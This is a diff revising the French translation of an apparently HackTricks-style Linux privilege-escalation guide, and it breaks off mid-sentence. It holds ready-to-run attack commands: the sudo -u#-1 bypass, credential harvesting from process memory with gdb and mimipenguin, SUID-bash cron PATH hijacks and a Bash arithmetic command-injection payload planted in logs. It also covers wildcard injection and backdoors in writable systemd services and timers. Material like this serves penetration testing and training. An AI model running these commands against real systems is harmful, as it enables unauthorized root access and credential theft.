peuvent aider Ă  rechercher des exploits kernel : +Outils qui peuvent aider Ă  rechercher des exploits pour le kernel : [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (Ă  exĂ©cuter sur la victime, vĂ©rifie uniquement les exploits pour kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exĂ©cuter IN victim, vĂ©rifie seulement les exploits pour kernel 2.x) -Recherchez toujours **la version du kernel sur Google**, peut-ĂȘtre que votre version du kernel est mentionnĂ©e dans un exploit et vous serez alors sĂ»r que cet exploit est valide. +Toujours **rechercher la version du kernel sur Google**, il se peut que votre version du kernel soit mentionnĂ©e dans un exploit et alors vous serez sĂ»r que cet exploit est valide. ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Version de Sudo +### Sudo version -D'aprĂšs les versions vulnĂ©rables de Sudo apparaissant dans : +BasĂ© sur les versions vulnĂ©rables de sudo qui apparaissent dans : ```bash searchsploit sudo ``` @@ -69,13 +69,13 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` #### sudo < v1.28 -Par @sickrov +De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Échec de la vĂ©rification de la signature de Dmesg +### Dmesg : Ă©chec de la vĂ©rification de la signature -Consultez **smasher2 box of HTB** pour un **exemple** de la maniĂšre dont cette vuln pourrait ĂȘtre exploitĂ©e +Consultez **smasher2 box of HTB** pour un **exemple** montrant comment cette vuln pourrait ĂȘtre exploitĂ©e. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,15 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Si vous ĂȘtes Ă  l'intĂ©rieur d'un docker container, vous pouvez essayer de vous en Ă©chapper : +Si vous ĂȘtes Ă  l'intĂ©rieur d'un conteneur docker vous pouvez essayer d'en sortir : {{#ref}} docker-security/ {{#endref}} -## Lecteurs +## Disques -VĂ©rifiez **what is mounted and unmounted**, oĂč et pourquoi. Si quelque chose est unmounted, vous pouvez essayer de le mount et vĂ©rifier s'il contient des informations privĂ©es +VĂ©rifiez **ce qui est montĂ© et dĂ©montĂ©**, oĂč et pourquoi. Si quelque chose est dĂ©montĂ© vous pouvez essayer de le monter et vĂ©rifier s'il contient des informations privĂ©es ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,56 +144,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -VĂ©rifiez Ă©galement si **un compilateur est installĂ©**. C'est utile si vous devez utiliser un kernel exploit, car il est recommandĂ© de le compiler sur la machine oĂč vous allez l'utiliser (ou sur une machine similaire). +VĂ©rifiez aussi si **un compilateur est installĂ©**. Cela est utile si vous devez utiliser un kernel exploit, car il est recommandĂ© de le compiler sur la machine oĂč vous allez l'utiliser (ou sur une machine similaire). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Logiciels vulnĂ©rables installĂ©s -VĂ©rifiez la **version des paquets et services installĂ©s**. Il se peut qu'une ancienne version de Nagios (par exemple) puisse ĂȘtre exploitĂ©e pour escalating privileges
\ +VĂ©rifiez la **version des paquets et services installĂ©s**. Peut-ĂȘtre qu'il existe une ancienne version de Nagios (par exemple) qui pourrait ĂȘtre exploitĂ©e pour escalating privileges
\ Il est recommandĂ© de vĂ©rifier manuellement la version des logiciels installĂ©s les plus suspects. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Si vous avez un accĂšs SSH Ă  la machine, vous pouvez Ă©galement utiliser **openVAS** pour vĂ©rifier si des logiciels installĂ©s sur la machine sont obsolĂštes ou vulnĂ©rables. +Si vous avez un accĂšs SSH Ă  la machine vous pouvez Ă©galement utiliser **openVAS** pour vĂ©rifier les logiciels installĂ©s Ă  l'intĂ©rieur de la machine qui sont obsolĂštes ou vulnĂ©rables. -> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront en grande partie inutiles, il est donc recommandĂ© d'utiliser des applications comme OpenVAS ou des outils similaires qui vĂ©rifieront si une version de logiciel installĂ©e est vulnĂ©rable Ă  des exploits connus_ +> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront en grande partie inutiles ; il est donc recommandĂ© d'utiliser des applications comme OpenVAS ou Ă©quivalentes qui vĂ©rifieront si une version d'un logiciel installĂ© est vulnĂ©rable Ă  des exploits connus_ ## Processus -Examinez **les processus** en cours d'exĂ©cution et vĂ©rifiez si un processus possĂšde **plus de privilĂšges qu'il ne devrait** (par exemple, un tomcat exĂ©cutĂ© par root ?) +Jetez un Ɠil Ă  **ce qui est exĂ©cutĂ©** et vĂ©rifiez si un processus a **plus de privilĂšges qu'il ne devrait** (par exemple un tomcat exĂ©cutĂ© par root ?) ```bash ps aux ps -ef top -n 1 ``` -VĂ©rifiez toujours la prĂ©sence de [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** dĂ©tecte ceux-ci en vĂ©rifiant le paramĂštre `--inspect` dans la ligne de commande du processus.\ -VĂ©rifiez aussi vos privilĂšges sur les binaires des processus, vous pourriez en Ă©craser un. +VĂ©rifiez toujours la prĂ©sence possible de [**electron/cef/chromium debuggers** en cours d'exĂ©cution — vous pourriez en abuser pour obtenir une Ă©lĂ©vation de privilĂšges](electron-cef-chromium-debugger-abuse.md). **Linpeas** dĂ©tecte ceux-ci en vĂ©rifiant le paramĂštre `--inspect` dans la ligne de commande du processus.\ +VĂ©rifiez aussi vos privilĂšges sur les binaires des processus — vous pourriez en Ă©craser un. -### Surveillance des processus +### Process monitoring -Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut ĂȘtre trĂšs utile pour identifier des processus vulnĂ©rables exĂ©cutĂ©s frĂ©quemment ou lorsqu'un ensemble de conditions est rempli. +Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut ĂȘtre trĂšs utile pour identifier des processus vulnĂ©rables qui s'exĂ©cutent frĂ©quemment ou lorsque certaines conditions sont remplies. -### MĂ©moire des processus +### Process memory -Certains services d'un serveur stockent des **identifiants en clair dans la mĂ©moire**.\ -Normalement vous aurez besoin de **root privileges** pour lire la mĂ©moire de processus appartenant Ă  d'autres utilisateurs ; c'est donc gĂ©nĂ©ralement plus utile lorsque vous ĂȘtes dĂ©jĂ  root et souhaitez dĂ©couvrir d'autres identifiants.\ -Cependant, souvenez-vous que **en tant qu'utilisateur rĂ©gulier vous pouvez lire la mĂ©moire des processus que vous possĂ©dez**. +Certains services d'un serveur enregistrent des **credentials en clair dans la mĂ©moire**.\ +Normalement vous aurez besoin de **root privileges** pour lire la mĂ©moire de processus appartenant Ă  d'autres utilisateurs ; par consĂ©quent, ceci est gĂ©nĂ©ralement plus utile lorsque vous ĂȘtes dĂ©jĂ  root et souhaitez dĂ©couvrir d'autres credentials.\ +Cependant, souvenez-vous qu'**en tant qu'utilisateur rĂ©gulier vous pouvez lire la mĂ©moire des processus que vous possĂ©dez**. > [!WARNING] -> Notez qu'aujourd'hui la plupart des machines **n'autorisent pas ptrace par dĂ©faut**, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant Ă  un utilisateur non privilĂ©giĂ©. +> Notez qu'aujourd'hui la plupart des machines n'autorisent pas ptrace par dĂ©faut, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant Ă  votre utilisateur non privilĂ©giĂ©. > > Le fichier _**/proc/sys/kernel/yama/ptrace_scope**_ contrĂŽle l'accessibilitĂ© de ptrace : > -> - **kernel.yama.ptrace_scope = 0**: tous les processus peuvent ĂȘtre dĂ©boguĂ©s, tant qu'ils ont le mĂȘme uid. C'est la maniĂšre classique dont fonctionnait ptrace. +> - **kernel.yama.ptrace_scope = 0**: tous les processus peuvent ĂȘtre dĂ©boguĂ©s, tant qu'ils ont le mĂȘme uid. C'est la façon classique dont ptrace fonctionnait. > - **kernel.yama.ptrace_scope = 1**: seul un processus parent peut ĂȘtre dĂ©boguĂ©. -> - **kernel.yama.ptrace_scope = 2**: Seul un admin peut utiliser ptrace, car cela requiert la capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Aucun processus ne peut ĂȘtre tracĂ© avec ptrace. Une fois dĂ©fini, un reboot est nĂ©cessaire pour rĂ©activer ptrace. +> - **kernel.yama.ptrace_scope = 2**: Seul l'admin peut utiliser ptrace, car cela requiert la capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: Aucun processus ne peut ĂȘtre tracĂ© avec ptrace. Une fois rĂ©glĂ©, un redĂ©marrage est nĂ©cessaire pour rĂ©activer le traçage via ptrace. #### GDB -Si vous avez accĂšs Ă  la mĂ©moire d'un service FTP (par exemple) vous pouvez obtenir le Heap et y rechercher ses identifiants. +Si vous avez accĂšs Ă  la mĂ©moire d'un service FTP (par exemple) vous pouvez obtenir le Heap et rechercher Ă  l'intĂ©rieur ses credentials. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### Script GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Pour un PID donnĂ©, **maps montrent comment la mĂ©moire est mappĂ©e dans l'espace d'adresses virtuel de ce processus** ; elles indiquent aussi les **permissions de chaque rĂ©gion mappĂ©e**. Le pseudo-fichier **mem** **expose la mĂ©moire du processus elle-mĂȘme**. À partir du fichier **maps** nous savons quelles **rĂ©gions mĂ©moire sont lisibles** et leurs offsets. Nous utilisons cette information pour **seek dans le fichier mem et dump toutes les rĂ©gions lisibles** dans un fichier. +Pour un ID de processus donnĂ©, **maps montrent comment la mĂ©moire est mappĂ©e dans l'espace d'adresses virtuel de ce processus** ; elles montrent aussi les **permissions de chaque rĂ©gion mappĂ©e**. Le pseudo-fichier **mem** **expose la mĂ©moire du processus lui-mĂȘme**. À partir du fichier **maps** nous savons quelles **rĂ©gions mĂ©moire sont lisibles** et leurs offsets. Nous utilisons ces informations pour **seek into the mem file and dump all readable regions** dans un fichier. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fournit un accĂšs Ă  la mĂ©moire **physique** du systĂšme, pas Ă  la mĂ©moire virtuelle. L'espace d'adresses virtuel du kernel peut ĂȘtre accĂ©dĂ© en utilisant /dev/kmem.\ +`/dev/mem` fournit l'accĂšs Ă  la mĂ©moire **physique** du systĂšme, et non Ă  la mĂ©moire virtuelle. L'espace d'adresses virtuelles du kernel est accessible via /dev/kmem.\ Typiquement, `/dev/mem` n'est lisible que par **root** et le groupe **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump pour Linux +### ProcDump pour linux -ProcDump est une rĂ©invention pour Linux de l'outil classique ProcDump de la suite Sysinternals pour Windows. Disponible sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump est une rĂ©invention pour Linux de l'outil classique ProcDump de la suite Sysinternals pour Windows. TĂ©lĂ©chargez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,38 +266,38 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Outils -Pour dumper la mĂ©moire d'un process vous pouvez utiliser : +Pour dump la mĂ©moire d'un processus vous pouvez utiliser : - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez supprimer manuellement l'exigence d'ĂȘtre root et dumper le process qui vous appartient -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (nĂ©cessite root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez supprimer manuellement l'obligation d'ĂȘtre root et dump le processus qui vous appartient +- Script A.5 tirĂ© de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root est requis) -### Identifiants depuis la mĂ©moire du process +### Identifiants depuis la mĂ©moire du processus #### Exemple manuel -Si vous trouvez que l'authenticator process est en cours d'exĂ©cution : +Si vous constatez que le processus authenticator est en cours d'exĂ©cution : ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Vous pouvez dump the process (voir les sections prĂ©cĂ©dentes pour trouver diffĂ©rentes façons de dump the memory of a process) et rechercher des credentials dans la memory : +Vous pouvez dump le processus (voir les sections prĂ©cĂ©dentes pour trouver diffĂ©rentes façons de dump la mĂ©moire d'un processus) et rechercher des credentials dans la mĂ©moire : ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va voler des identifiants en clair depuis la mĂ©moire et depuis certains fichiers bien connus. Il requiert des privilĂšges root pour fonctionner correctement. +L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en clair depuis la mĂ©moire** et depuis certains **fichiers bien connus**. Il nĂ©cessite les privilĂšges root pour fonctionner correctement. | FonctionnalitĂ© | Nom du processus | | ------------------------------------------------- | -------------------- | -| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (connexions FTP actives) | vsftpd | -| Apache2 (sessions HTTP Basic Auth actives) | apache2 | -| OpenSSH (sessions SSH actives - utilisation de sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### Expressions rĂ©guliĂšres de recherche/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -313,36 +313,36 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## TĂąches planifiĂ©es/Cron jobs +## TĂąches planifiĂ©es / Cron jobs -VĂ©rifiez si une tĂąche planifiĂ©e est vulnĂ©rable. Peut‑ĂȘtre pouvez‑vous tirer parti d'un script exĂ©cutĂ© par root (wildcard vuln ? pouvez‑vous modifier des fichiers qu'utilise root ? utiliser des symlinks ? crĂ©er des fichiers spĂ©cifiques dans le rĂ©pertoire qu'utilise root ?). +VĂ©rifiez si une tĂąche planifiĂ©e est vulnĂ©rable. Peut-ĂȘtre pouvez-vous tirer parti d'un script exĂ©cutĂ© par root (vulnĂ©rabilitĂ© wildcard ? Peut-on modifier des fichiers utilisĂ©s par root ? Utiliser des symlinks ? CrĂ©er des fichiers spĂ©cifiques dans le rĂ©pertoire utilisĂ© par root ?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Chemin de Cron +### Cron path -Par exemple, dans _/etc/crontab_ vous pouvez trouver le PATH : _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Par exemple, Ă  l'intĂ©rieur de _/etc/crontab_ vous pouvez trouver le PATH : _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Remarquez que l'utilisateur "user" a des droits d'Ă©criture sur /home/user_) -Si dans cette crontab l'utilisateur root tente d'exĂ©cuter une commande ou un script sans dĂ©finir le PATH. Par exemple : _\* \* \* \* root overwrite.sh_\ -Alors, vous pouvez obtenir un shell root en utilisant: +Si dans ce crontab l'utilisateur root tente d'exĂ©cuter une commande ou un script sans dĂ©finir le PATH. Par exemple : _\* \* \* \* root overwrite.sh_\ +Alors, vous pouvez obtenir un root shell en utilisant : ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron exĂ©cutant un script avec un wildcard (Wildcard Injection) +### Cron utilisant un script avec un wildcard (Wildcard Injection) -Si un script exĂ©cutĂ© par root contient un “**\***” dans une commande, vous pouvez l'exploiter pour provoquer des comportements inattendus (comme privesc). Exemple: +Si un script exĂ©cutĂ© par root contient un “**\***” dans une commande, vous pouvez exploiter cela pour obtenir des comportements inattendus (comme privesc). Exemple: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Si le wildcard est prĂ©cĂ©dĂ© d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnĂ©rable (mĂȘme** _**./\***_ **ne l'est pas).** +**Si le wildcard est prĂ©cĂ©dĂ© d'un chemin comme** _**/some/path/\***_**, il n'est pas vulnĂ©rable (mĂȘme** _**./\***_ **ne l'est pas).** -Lisez la page suivante pour plus d'astuces d'exploitation de wildcard : +Lisez la page suivante pour plus d'astuces d'exploitation des wildcard : {{#ref}} @@ -352,11 +352,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash effectue parameter/variable expansion et command substitution avant l'Ă©valuation arithmĂ©tique dans ((...)), $((...)) et let. Si un cron/parser exĂ©cutĂ© en root lit des champs de log non fiables et les insĂšre dans un contexte arithmĂ©tique, un attaquant peut injecter une command substitution $(...) qui s'exĂ©cute en root quand le cron s'exĂ©cute. +Bash effectue parameter expansion et command substitution avant arithmetic evaluation dans ((...)), $((...)) et let. Si un cron/parser exĂ©cutĂ© en root lit des champs de log untrusted et les place dans un arithmetic context, un attaquant peut injecter une command substitution $(...) qui s'exĂ©cute en tant que root lorsque le cron tourne. -- Pourquoi cela fonctionne : Dans Bash, les expansions se produisent dans cet ordre : parameter/variable expansion, command substitution, arithmetic expansion, puis word splitting et pathname expansion. Ainsi une valeur comme `$(/bin/bash -c 'id > /tmp/pwn')0` est d'abord substituĂ©e (exĂ©cution de la commande), puis le `0` numĂ©rique restant est utilisĂ© pour l'arithmĂ©tique, de sorte que le script continue sans erreurs. +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. -- Patron vulnĂ©rable typique : +- Typical vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -366,7 +366,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation : Faire Ă©crire du texte contrĂŽlĂ© par l'attaquant dans le log parsĂ© de sorte que le champ Ă  apparence numĂ©rique contienne une command substitution et se termine par un chiffre. Assurez-vous que votre commande n'Ă©crit pas sur stdout (ou la redirige) pour que l'arithmĂ©tique reste valide. +- Exploitation : Faire Ă©crire du texte contrĂŽlĂ© par l'attaquant dans le log parsĂ© de sorte que le champ ressemblant Ă  un nombre contienne une command substitution et se termine par un chiffre. Assurez-vous que votre commande n'Ă©crit pas sur stdout (ou redirigez-la) afin que l'arithmĂ©tique reste valide. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -381,19 +381,19 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si le script exĂ©cutĂ© par root utilise un **rĂ©pertoire auquel vous avez un accĂšs complet**, il peut ĂȘtre utile de supprimer ce dossier et **crĂ©er un symlink vers un autre dossier** servant un script que vous contrĂŽlez. +Si le script exĂ©cutĂ© par root utilise un **rĂ©pertoire auquel vous avez un accĂšs total**, il peut ĂȘtre utile de supprimer ce dossier et de **crĂ©er un symlink vers un autre rĂ©pertoire** servant un script contrĂŽlĂ© par vous ```bash ln -d -s ``` ### Cron jobs frĂ©quents -Vous pouvez surveiller les processus pour rechercher ceux qui s'exĂ©cutent toutes les 1, 2 ou 5 minutes. Peut-ĂȘtre pouvez-vous en tirer parti et obtenir une Ă©lĂ©vation de privilĂšges. +Vous pouvez surveiller les processus pour rechercher ceux qui s'exĂ©cutent toutes les 1, 2 ou 5 minutes. Peut-ĂȘtre pouvez-vous en tirer parti et escalate privileges. -Par exemple, pour **surveiller toutes les 0.1s pendant 1 minute**, **trier par commandes les moins exĂ©cutĂ©es** et supprimer les commandes qui ont Ă©tĂ© exĂ©cutĂ©es le plus souvent, vous pouvez faire: +Par exemple, pour **surveiller toutes les 0.1s pendant 1 minute**, **trier par commandes les moins exĂ©cutĂ©es** et supprimer les commandes les plus exĂ©cutĂ©es, vous pouvez faire : ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Vous pouvez aussi utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (cela va surveiller et lister chaque processus qui dĂ©marre). +**Vous pouvez aussi utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (cela surveillera et listera chaque processus qui dĂ©marre). ### Cron jobs invisibles @@ -403,55 +403,55 @@ Il est possible de crĂ©er un cronjob **en mettant un retour chariot aprĂšs un co ``` ## Services -### Fichiers _.service_ modifiables +### Fichiers _.service_ modifiables en Ă©criture -VĂ©rifiez si vous pouvez Ă©crire un fichier `.service`, si oui, vous **pourriez le modifier** de façon Ă  ce qu'il **exĂ©cute** votre **backdoor lorsque** le service est **dĂ©marrĂ©**, **redĂ©marrĂ©** ou **arrĂȘtĂ©** (il est possible que vous deviez attendre que la machine soit redĂ©marrĂ©e).\ -Par exemple, crĂ©ez votre backdoor dans le fichier .service avec **`ExecStart=/tmp/script.sh`** +VĂ©rifiez si vous pouvez Ă©crire un fichier `.service`, si c'est le cas, vous **pourriez le modifier** afin qu'il **exĂ©cute** votre **backdoor lorsque** le service est **dĂ©marrĂ©**, **redĂ©marrĂ©** ou **arrĂȘtĂ©** (vous devrez peut‑ĂȘtre attendre que la machine soit redĂ©marrĂ©e).\ +Par exemple, crĂ©ez votre backdoor dans le fichier `.service` avec **`ExecStart=/tmp/script.sh`** -### Binaires de service modifiables +### Binaires de service modifiables en Ă©criture -Gardez Ă  l'esprit que si vous avez **permissions d'Ă©criture sur des binaires exĂ©cutĂ©s par des services**, vous pouvez les modifier pour y placer des backdoors, de sorte que lorsque les services seront rĂ©-exĂ©cutĂ©s, les backdoors s'exĂ©cuteront. +Gardez Ă  l'esprit que si vous avez des **permissions d'Ă©criture sur des binaires exĂ©cutĂ©s par des services**, vous pouvez les modifier pour y placer des backdoors de sorte que lorsque les services seront rĂ©-exĂ©cutĂ©s, les backdoors seront exĂ©cutĂ©es. ### systemd PATH - Chemins relatifs -Vous pouvez voir le PATH utilisĂ© par **systemd** avec: +Vous pouvez voir le PATH utilisĂ© par **systemd** avec : ```bash systemctl show-environment ``` -Si vous constatez que vous pouvez **Ă©crire** dans l'un des dossiers du chemin, vous pourriez ĂȘtre en mesure de **escalate privileges**. Recherchez des **chemins relatifs utilisĂ©s dans les configurations des services**, dans des fichiers tels que : +Si vous trouvez que vous pouvez **write** dans n'importe lequel des dossiers du chemin, vous pouvez ĂȘtre en mesure de **escalate privileges**. Vous devez rechercher des chemins relatifs utilisĂ©s dans les fichiers de configuration des services tels que : ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Ensuite, crĂ©ez un **exĂ©cutable** avec le **mĂȘme nom que le binaire du chemin relatif** Ă  l'intĂ©rieur du dossier systemd PATH que vous pouvez Ă©crire, et lorsqu'on demande au service d'exĂ©cuter l'action vulnĂ©rable (**Start**, **Stop**, **Reload**), votre **backdoor sera exĂ©cutĂ©e** (les utilisateurs non privilĂ©giĂ©s ne peuvent gĂ©nĂ©ralement pas dĂ©marrer/arrĂȘter des services mais vĂ©rifiez si vous pouvez utiliser `sudo -l`). +Ensuite, crĂ©ez un **exĂ©cutable** portant **le mĂȘme nom que le binaire du chemin relatif** dans le dossier PATH de systemd sur lequel vous pouvez Ă©crire, et lorsque le service est invitĂ© Ă  exĂ©cuter l'action vulnĂ©rable (**Start**, **Stop**, **Reload**), votre **backdoor sera exĂ©cutĂ©e** (les utilisateurs non privilĂ©giĂ©s ne peuvent gĂ©nĂ©ralement pas dĂ©marrer/arrĂȘter les services mais vĂ©rifiez si vous pouvez utiliser `sudo -l`). -**Learn more about services with `man systemd.service`.** +**En savoir plus sur les services avec `man systemd.service`.** ## **Timers** -**Timers** sont des fichiers d'unitĂ© systemd dont le nom se termine par `**.timer**` qui contrĂŽlent des fichiers ou Ă©vĂ©nements `**.service**`. Les **Timers** peuvent ĂȘtre utilisĂ©s comme une alternative Ă  cron car ils offrent un support intĂ©grĂ© pour les Ă©vĂ©nements basĂ©s sur le calendrier et les Ă©vĂ©nements basĂ©s sur le temps monotone, et peuvent s'exĂ©cuter de maniĂšre asynchrone. +**Timers** sont des fichiers d'unitĂ© systemd dont le nom se termine par `**.timer**` et qui contrĂŽlent des fichiers `**.service**` ou des Ă©vĂ©nements. Les **Timers** peuvent ĂȘtre utilisĂ©s comme alternative Ă  cron car ils prennent en charge nativement les Ă©vĂ©nements basĂ©s sur le calendrier et les Ă©vĂ©nements basĂ©s sur le temps monotone, et peuvent s'exĂ©cuter de maniĂšre asynchrone. -Vous pouvez Ă©numĂ©rer tous les timers avec: +Vous pouvez Ă©numĂ©rer tous les timers avec : ```bash systemctl list-timers --all ``` -### Timers modifiables +### Timers accessibles en Ă©criture -Si vous pouvez modifier un timer, vous pouvez le faire exĂ©cuter certaines unitĂ©s existantes de systemd.unit (comme une `.service` ou une `.target`) +Si vous pouvez modifier un timer, vous pouvez lui faire exĂ©cuter certains Ă©lĂ©ments existants de systemd.unit (comme un `.service` ou un `.target`) ```bash Unit=backdoor.service ``` -Dans la documentation, vous pouvez lire ce qu'est l'unitĂ© : +Dans la documentation vous pouvez lire ce qu'est la Unit : -> L'unitĂ© Ă  activer lorsque ce timer arrive Ă  Ă©chĂ©ance. L'argument est un nom d'unitĂ©, dont le suffixe n'est pas ".timer". Si non spĂ©cifiĂ©, cette valeur prend par dĂ©faut un service qui a le mĂȘme nom que l'unitĂ© timer, sauf pour le suffixe. (Voir ci‑dessus.) Il est recommandĂ© que le nom de l'unitĂ© activĂ©e et le nom de l'unitĂ© timer soient identiques, Ă  l'exception du suffixe. +> L'unitĂ© Ă  activer lorsque ce timer expire. L'argument est un nom d'unitĂ©, dont le suffixe n'est pas ".timer". Si non spĂ©cifiĂ©, cette valeur correspond par dĂ©faut Ă  un service qui a le mĂȘme nom que l'unitĂ© timer, Ă  l'exception du suffixe. (Voir ci‑dessus.) Il est recommandĂ© que le nom de l'unitĂ© activĂ©e et le nom de l'unitĂ© timer soient identiques, Ă  l'exception du suffixe. -Par consĂ©quent, pour abuser de cette permission, vous devrez : +Par consĂ©quent, pour abuser de cette permission vous devrez : -- Trouver une unitĂ© systemd (comme une `.service`) qui **exĂ©cute un binaire modifiable** -- Trouver une unitĂ© systemd qui **exĂ©cute un chemin relatif** et pour laquelle vous disposez de **privilĂšges d'Ă©criture** sur le **systemd PATH** (pour usurper cet exĂ©cutable) +- Trouver une unitĂ© systemd (comme une `.service`) qui **exĂ©cute un binaire accessible en Ă©criture** +- Trouver une unitĂ© systemd qui **exĂ©cute un chemin relatif** et sur laquelle vous avez des **privilĂšges d'Ă©criture** sur le **systemd PATH** (pour usurper cet exĂ©cutable) -**En savoir plus sur les timers avec `man systemd.timer`.** +**Pour en savoir plus sur les timers, utilisez `man systemd.timer`.** ### **Activation du timer** @@ -460,32 +460,32 @@ Pour activer un timer, vous avez besoin des privilĂšges root et d'exĂ©cuter : sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Notez que le **timer** est **activĂ©** en crĂ©ant un symlink vers celui-ci dans `/etc/systemd/system/.wants/.timer` +Notez que le **timer** est **activĂ©** en 